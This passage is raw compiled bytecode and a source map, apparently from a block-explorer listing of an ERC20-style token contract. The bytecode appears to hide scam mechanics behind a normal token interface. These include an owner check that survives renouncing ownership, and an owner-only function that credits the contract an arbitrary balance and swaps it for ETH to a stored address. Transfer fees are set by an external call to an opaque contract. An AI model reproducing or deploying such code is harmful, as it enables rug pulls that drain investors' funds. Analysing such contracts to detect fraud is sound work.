ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601d4261073291906116b9565b6040518663ffffffff1660e01b81526004016107529594939291906117e5565b5f604051808303815f87803b158015610769575f80fd5b505af115801561077b573d5f803e3d5ffd5b50505050505061078b565b61078c565b5b50565b60015481565b5f61082b6107a1611052565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461082691906116b9565b610c4f565b6001905092915050565b60025481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108c56109d5565b73ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091290611887565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610a0b906115c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a37906115c3565b8015610a825780601f10610a5957610100808354040283529160200191610a82565b820191905f5260205f20905b815481529060010190602001808311610a6557829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b11575f80fd5b610ba6610b1c611052565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba191906118a5565b610c4f565b6001905092915050565b5f610bc3610bbc611052565b8484610e12565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb490611948565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d22906119d6565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e059190611471565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e49575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610e92575f80fd5b5f610e9c846110b6565b90505f610ec56064610eb784866111e390919063ffffffff16565b61125a90919063ffffffff16565b90508260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1091906118a5565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f9b91906116b9565b610fa591906118a5565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110439190611471565b60405180910390a35050505050565b5f33905090565b5f611062611052565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f805f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166009856040516024016111049190611514565b604051602081830303815290604052906040516111219190611a90565b60405180910390207bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516111839190611aea565b5f604051808303815f865af19150503d805f81146111bc576040519150601f19603f3d011682016040523d82523d5f602084013e6111c1565b606091505b5091509150808060200190518101906111da9190611b14565b92505050919050565b5f8083036111f3575f9050611254565b5f82846112009190611b3f565b905082848261120f9190611bad565b1461124f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124690611c4d565b60405180910390fd5b809150505b92915050565b5f80821161129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490611cb5565b60405180910390fd5b5f82846112aa9190611bad565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156112ed5780820151818401526020810190506112d2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611312826112b6565b61131c81856112c0565b935061132c8185602086016112d0565b611335816112f8565b840191505092915050565b5f6020820190508181035f8301526113588184611308565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138d82611364565b9050919050565b61139d81611383565b81146113a7575f80fd5b50565b5f813590506113b881611394565b92915050565b5f819050919050565b6113d0816113be565b81146113da575f80fd5b50565b5f813590506113eb816113c7565b92915050565b5f806040838503121561140757611406611360565b5b5f611414858286016113aa565b9250506020611425858286016113dd565b9150509250929050565b5f8115159050919050565b6114438161142f565b82525050565b5f60208201905061145c5f83018461143a565b92915050565b61146b816113be565b82525050565b5f6020820190506114845f830184611462565b92915050565b5f805f606084860312156114a1576114a0611360565b5b5f6114ae868287016113aa565b93505060206114bf868287016113aa565b92505060406114d0868287016113dd565b9150509250925092565b5f602082840312156114ef576114ee611360565b5b5f6114fc848285016113dd565b91505092915050565b61150e81611383565b82525050565b5f6020820190506115275f830184611505565b92915050565b5f6020828403121561154257611541611360565b5b5f61154f848285016113aa565b91505092915050565b5f806040838503121561156e5761156d611360565b5b5f61157b858286016113aa565b925050602061158c858286016113aa565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115da57607f821691505b6020821081036115ed576115ec611596565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061165b81611394565b92915050565b5f6020828403121561167657611675611360565b5b5f6116838482850161164d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6116c3826113be565b91506116ce836113be565b92508282019050808211156116e6576116e561168c565b5b92915050565b5f819050919050565b5f819050919050565b5f61171861171361170e846116ec565b6116f5565b6113be565b9050919050565b611728816116fe565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61176081611383565b82525050565b5f6117718383611757565b60208301905092915050565b5f602082019050919050565b5f6117938261172e565b61179d8185611738565b93506117a883611748565b805f5b838110156117d85781516117bf8882611766565b97506117ca8361177d565b9250506001810190506117ab565b5085935050505092915050565b5f60a0820190506117f85f830188611462565b611805602083018761171f565b81810360408301526118178186611789565b90506118266060830185611505565b6118336080830184611462565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118716020836112c0565b915061187c8261183d565b602082019050919050565b5f6020820190508181035f83015261189e81611865565b9050919050565b5f6118af826113be565b91506118ba836113be565b92508282039050818111156118d2576118d161168c565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6119326025836112c0565b915061193d826118d8565b604082019050919050565b5f6020820190508181035f83015261195f81611926565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119c06023836112c0565b91506119cb82611966565b604082019050919050565b5f6020820190508181035f8301526119ed816119b4565b9050919050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154611a1c816115c3565b611a2681866119f4565b9450600182165f8114611a405760018114611a5557611a87565b60ff1983168652811515820286019350611a87565b611a5e856119fe565b5f5b83811015611a7f57815481890152600182019150602081019050611a60565b838801955050505b50505092915050565b5f611a9b8284611a10565b915081905092915050565b5f81519050919050565b5f81905092915050565b5f611ac482611aa6565b611ace8185611ab0565b9350611ade8185602086016112d0565b80840191505092915050565b5f611af58284611aba565b915081905092915050565b5f81519050611b0e816113c7565b92915050565b5f60208284031215611b2957611b28611360565b5b5f611b3684828501611b00565b91505092915050565b5f611b49826113be565b9150611b54836113be565b9250828202611b62816113be565b91508282048414831517611b7957611b7861168c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb7826113be565b9150611bc2836113be565b925082611bd257611bd1611b80565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c376022836112c0565b9150611c4282611bdd565b604082019050919050565b5f6020820190508181035f830152611c6481611c2b565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9f601b836112c0565b9150611caa82611c6b565b602082019050919050565b5f6020820190508181035f830152611ccc81611c93565b905091905056fea26469706673582212200b80a91d2f03386eae508d315b4778f6f40afab404b02679d1583df113d4918564736f6c63430008140033

Deployed Bytecode Sourcemap

1925:4372:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2829:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2920:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4649:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5906:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2100:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3283:517;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1996:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2530:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2031:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3158:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4055:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1655:148;;;:::i;:::-;;1426:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3190:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3806:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6140:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5174:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2829:85;2868:13;2901:5;2894:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2829:85;:::o;2920:158::-;2994:4;3011:37;3020:10;3032:7;3041:6;3011:8;:37::i;:::-;3066:4;3059:11;;2920:158;;;;:::o;4649:93::-;4695:7;4722:12;;4715:19;;4649:93;:::o;5906:228::-;5994:4;6011:35;6021:4;6027:9;6038:7;6011:9;:35::i;:::-;6096:7;6065:11;:17;6077:4;6065:17;;;;;;;;;;;;;;;:27;6083:8;:6;:8::i;:::-;6065:27;;;;;;;;;;;;;;;;:38;;6057:47;;;;;;6122:4;6115:11;;5906:228;;;;;:::o;2100:87::-;2143:7;2170:9;;2163:16;;2100:87;:::o;3283:517::-;3342:14;:12;:14::i;:::-;3338:455;;;3358:20;3389:4;3358:36;;3405:54;3414:12;3436:13;;;;;;;;;;;3452:6;3405:8;:54::i;:::-;3497:6;3471:9;:23;3481:12;3471:23;;;;;;;;;;;;;;;:32;;;;3514:23;3554:1;3540:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3514:42;;3579:12;3567:6;3574:1;3567:9;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;3616:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3603:6;3610:1;3603:9;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;3648:13;;;;;;;;;;;:64;;;3713:6;3721:1;3724:6;3732:10;;;;;;;;;;;3762:2;3744:15;:20;;;;:::i;:::-;3648:117;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3357:420;;3338:455;;;3784:7;;3338:455;3283:517;;:::o;1996:28::-;;;;:::o;2530:201::-;2610:4;2627:74;2636:8;:6;:8::i;:::-;2646:7;2690:10;2655:11;:23;2667:10;2655:23;;;;;;;;;;;;;;;:32;2679:7;2655:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;2627:8;:74::i;:::-;2719:4;2712:11;;2530:201;;;;:::o;2031:60::-;;;;:::o;3158:25::-;;;;;;;;;;;;;:::o;4055:110::-;4112:7;4139:9;:18;4149:7;4139:18;;;;;;;;;;;;;;;;4132:25;;4055:110;;;:::o;1655:148::-;1582:10;1571:21;;:7;:5;:7::i;:::-;:21;;;1563:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1762:1:::1;1725:40;;1746:6;::::0;::::1;;;;;;;;1725:40;;;;;;;;;;;;1793:1;1776:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1655:148::o:0;1426:71::-;1472:7;1489:6;;;;;;;;;;;1482:13;;1426:71;:::o;3190:87::-;3229:13;3262:7;3255:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3190:87;:::o;3806:243::-;3879:4;3937:6;3904:11;:23;3916:10;3904:23;;;;;;;;;;;;;;;:29;3928:4;3904:29;;;;;;;;;;;;;;;;:39;;3896:48;;;;;;3955:64;3964:8;:6;:8::i;:::-;3974:4;4012:6;3980:11;:23;3992:10;3980:23;;;;;;;;;;;;;;;:29;4004:4;3980:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;3955:8;:64::i;:::-;4037:4;4030:11;;3806:243;;;;:::o;6140:154::-;6209:4;6226:38;6236:8;:6;:8::i;:::-;6246:9;6257:6;6226:9;:38::i;:::-;6282:4;6275:11;;6140:154;;;;:::o;5174:134::-;5246:7;5273:11;:18;5285:5;5273:18;;;;;;;;;;;;;;;:27;5292:7;5273:27;;;;;;;;;;;;;;;;5266:34;;5174:134;;;;:::o;4748:346::-;4867:1;4850:19;;:5;:19;;;4842:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;4949:1;4930:21;;:7;:21;;;4922:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5032:6;5002:11;:18;5014:5;5002:18;;;;;;;;;;;;;;;:27;5021:7;5002:27;;;;;;;;;;;;;;;:36;;;;5070:7;5054:32;;5063:5;5054:32;;;5079:6;5054:32;;;;;;:::i;:::-;;;;;;;;4748:346;;;:::o;4171:420::-;4275:1;4259:18;;:4;:18;;;4251:27;;;;;;4306:9;:15;4316:4;4306:15;;;;;;;;;;;;;;;;4297:5;:24;;4289:33;;;;;;4333:19;4355;4369:4;4355:13;:19::i;:::-;4333:41;;4385:14;4402:31;4429:3;4402:22;4412:11;4402:5;:9;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;4385:48;;4480:5;4462:9;:15;4472:4;4462:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;4444:9;:15;4454:4;4444:15;;;;;;;;;;;;;;;:41;;;;4536:6;4528:5;4512:9;:13;4522:2;4512:13;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;:30;;;;:::i;:::-;4496:9;:13;4506:2;4496:13;;;;;;;;;;;;;;;:46;;;;4573:2;4558:25;;4567:4;4558:25;;;4577:5;4558:25;;;;;;:::i;:::-;;;;;;;;4240:351;;4171:420;;;:::o;2737:86::-;2778:7;2805:10;2798:17;;2737:86;:::o;5468:101::-;5514:4;5553:8;:6;:8::i;:::-;5539:22;;:10;;;;;;;;;;;:22;;;5531:30;;5468:101;:::o;5575:238::-;5629:7;5650:6;5658:18;5680:13;;;;;;;;;;;:18;;5733:9;5744:3;5699:49;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;5680:69;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5649:100;;;;5788:5;5767:38;;;;;;;;;;;;:::i;:::-;5760:45;;;;5575:238;;;:::o;275:223::-;333:7;362:1;357;:6;353:23;;373:1;366:8;;;;353:23;386:9;402:1;398;:5;;;;:::i;:::-;386:17;;431:1;426;422;:5;;;;:::i;:::-;:10;414:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;489:1;482:8;;;275:223;;;;;:::o;690:178::-;748:7;780:1;776;:5;768:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;824:9;840:1;836;:5;;;;:::i;:::-;824:17;;859:1;852:8;;;690:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:118::-;4845:24;4863:5;4845:24;:::i;:::-;4840:3;4833:37;4758:118;;:::o;4882:222::-;4975:4;5013:2;5002:9;4998:18;4990:26;;5026:71;5094:1;5083:9;5079:17;5070:6;5026:71;:::i;:::-;4882:222;;;;:::o;5110:329::-;5169:6;5218:2;5206:9;5197:7;5193:23;5189:32;5186:119;;;5224:79;;:::i;:::-;5186:119;5344:1;5369:53;5414:7;5405:6;5394:9;5390:22;5369:53;:::i;:::-;5359:63;;5315:117;5110:329;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:180::-;5973:77;5970:1;5963:88;6070:4;6067:1;6060:15;6094:4;6091:1;6084:15;6111:320;6155:6;6192:1;6186:4;6182:12;6172:22;;6239:1;6233:4;6229:12;6260:18;6250:81;;6316:4;6308:6;6304:17;6294:27;;6250:81;6378:2;6370:6;6367:14;6347:18;6344:38;6341:84;;6397:18;;:::i;:::-;6341:84;6162:269;6111:320;;;:::o;6437:180::-;6485:77;6482:1;6475:88;6582:4;6579:1;6572:15;6606:4;6603:1;6596:15;6623:180;6671:77;6668:1;6661:88;6768:4;6765:1;6758:15;6792:4;6789:1;6782:15;6809:143;6866:5;6897:6;6891:13;6882:22;;6913:33;6940:5;6913:33;:::i;:::-;6809:143;;;;:::o;6958:351::-;7028:6;7077:2;7065:9;7056:7;7052:23;7048:32;7045:119;;;7083:79;;:::i;:::-;7045:119;7203:1;7228:64;7284:7;7275:6;7264:9;7260:22;7228:64;:::i;:::-;7218:74;;7174:128;6958:351;;;;:::o;7315:180::-;7363:77;7360:1;7353:88;7460:4;7457:1;7450:15;7484:4;7481:1;7474:15;7501:191;7541:3;7560:20;7578:1;7560:20;:::i;:::-;7555:25;;7594:20;7612:1;7594:20;:::i;:::-;7589:25;;7637:1;7634;7630:9;7623:16;;7658:3;7655:1;7652:10;7649:36;;;7665:18;;:::i;:::-;7649:36;7501:191;;;;:::o;7698:85::-;7743:7;7772:5;7761:16;;7698:85;;;:::o;7789:60::-;7817:3;7838:5;7831:12;;7789:60;;;:::o;7855:158::-;7913:9;7946:61;7964:42;7973:32;7999:5;7973:32;:::i;:::-;7964:42;:::i;:::-;7946:61;:::i;:::-;7933:74;;7855:158;;;:::o;8019:147::-;8114:45;8153:5;8114:45;:::i;:::-;8109:3;8102:58;8019:147;;:::o;8172:114::-;8239:6;8273:5;8267:12;8257:22;;8172:114;;;:::o;8292:184::-;8391:11;8425:6;8420:3;8413:19;8465:4;8460:3;8456:14;8441:29;;8292:184;;;;:::o;8482:132::-;8549:4;8572:3;8564:11;;8602:4;8597:3;8593:14;8585:22;;8482:132;;;:::o;8620:108::-;8697:24;8715:5;8697:24;:::i;:::-;8692:3;8685:37;8620:108;;:::o;8734:179::-;8803:10;8824:46;8866:3;8858:6;8824:46;:::i;:::-;8902:4;8897:3;8893:14;8879:28;;8734:179;;;;:::o;8919:113::-;8989:4;9021;9016:3;9012:14;9004:22;;8919:113;;;:::o;9068:732::-;9187:3;9216:54;9264:5;9216:54;:::i;:::-;9286:86;9365:6;9360:3;9286:86;:::i;:::-;9279:93;;9396:56;9446:5;9396:56;:::i;:::-;9475:7;9506:1;9491:284;9516:6;9513:1;9510:13;9491:284;;;9592:6;9586:13;9619:63;9678:3;9663:13;9619:63;:::i;:::-;9612:70;;9705:60;9758:6;9705:60;:::i;:::-;9695:70;;9551:224;9538:1;9535;9531:9;9526:14;;9491:284;;;9495:14;9791:3;9784:10;;9192:608;;;9068:732;;;;:::o;9806:831::-;10069:4;10107:3;10096:9;10092:19;10084:27;;10121:71;10189:1;10178:9;10174:17;10165:6;10121:71;:::i;:::-;10202:80;10278:2;10267:9;10263:18;10254:6;10202:80;:::i;:::-;10329:9;10323:4;10319:20;10314:2;10303:9;10299:18;10292:48;10357:108;10460:4;10451:6;10357:108;:::i;:::-;10349:116;;10475:72;10543:2;10532:9;10528:18;10519:6;10475:72;:::i;:::-;10557:73;10625:3;10614:9;10610:19;10601:6;10557:73;:::i;:::-;9806:831;;;;;;;;:::o;10643:182::-;10783:34;10779:1;10771:6;10767:14;10760:58;10643:182;:::o;10831:366::-;10973:3;10994:67;11058:2;11053:3;10994:67;:::i;:::-;10987:74;;11070:93;11159:3;11070:93;:::i;:::-;11188:2;11183:3;11179:12;11172:19;;10831:366;;;:::o;11203:419::-;11369:4;11407:2;11396:9;11392:18;11384:26;;11456:9;11450:4;11446:20;11442:1;11431:9;11427:17;11420:47;11484:131;11610:4;11484:131;:::i;:::-;11476:139;;11203:419;;;:::o;11628:194::-;11668:4;11688:20;11706:1;11688:20;:::i;:::-;11683:25;;11722:20;11740:1;11722:20;:::i;:::-;11717:25;;11766:1;11763;11759:9;11751:17;;11790:1;11784:4;11781:11;11778:37;;;11795:18;;:::i;:::-;11778:37;11628:194;;;;:::o;11828:224::-;11968:34;11964:1;11956:6;11952:14;11945:58;12037:7;12032:2;12024:6;12020:15;12013:32;11828:224;:::o;12058:366::-;12200:3;12221:67;12285:2;12280:3;12221:67;:::i;:::-;12214:74;;12297:93;12386:3;12297:93;:::i;:::-;12415:2;12410:3;12406:12;12399:19;;12058:366;;;:::o;12430:419::-;12596:4;12634:2;12623:9;12619:18;12611:26;;12683:9;12677:4;12673:20;12669:1;12658:9;12654:17;12647:47;12711:131;12837:4;12711:131;:::i;:::-;12703:139;;12430:419;;;:::o;12855:222::-;12995:34;12991:1;12983:6;12979:14;12972:58;13064:5;13059:2;13051:6;13047:15;13040:30;12855:222;:::o;13083:366::-;13225:3;13246:67;13310:2;13305:3;13246:67;:::i;:::-;13239:74;;13322:93;13411:3;13322:93;:::i;:::-;13440:2;13435:3;13431:12;13424:19;;13083:366;;;:::o;13455:419::-;13621:4;13659:2;13648:9;13644:18;13636:26;;13708:9;13702:4;13698:20;13694:1;13683:9;13679:17;13672:47;13736:131;13862:4;13736:131;:::i;:::-;13728:139;;13455:419;;;:::o;13880:148::-;13982:11;14019:3;14004:18;;13880:148;;;;:::o;14034:141::-;14083:4;14106:3;14098:11;;14129:3;14126:1;14119:14;14163:4;14160:1;14150:18;14142:26;;14034:141;;;:::o;14205:874::-;14308:3;14345:5;14339:12;14374:36;14400:9;14374:36;:::i;:::-;14426:89;14508:6;14503:3;14426:89;:::i;:::-;14419:96;;14546:1;14535:9;14531:17;14562:1;14557:166;;;;14737:1;14732:341;;;;14524:549;;14557:166;14641:4;14637:9;14626;14622:25;14617:3;14610:38;14703:6;14696:14;14689:22;14681:6;14677:35;14672:3;14668:45;14661:52;;14557:166;;14732:341;14799:38;14831:5;14799:38;:::i;:::-;14859:1;14873:154;14887:6;14884:1;14881:13;14873:154;;;14961:7;14955:14;14951:1;14946:3;14942:11;14935:35;15011:1;15002:7;14998:15;14987:26;;14909:4;14906:1;14902:12;14897:17;;14873:154;;;15056:6;15051:3;15047:16;15040:23;;14739:334;;14524:549;;14312:767;;14205:874;;;;:::o;15085:269::-;15214:3;15236:92;15324:3;15315:6;15236:92;:::i;:::-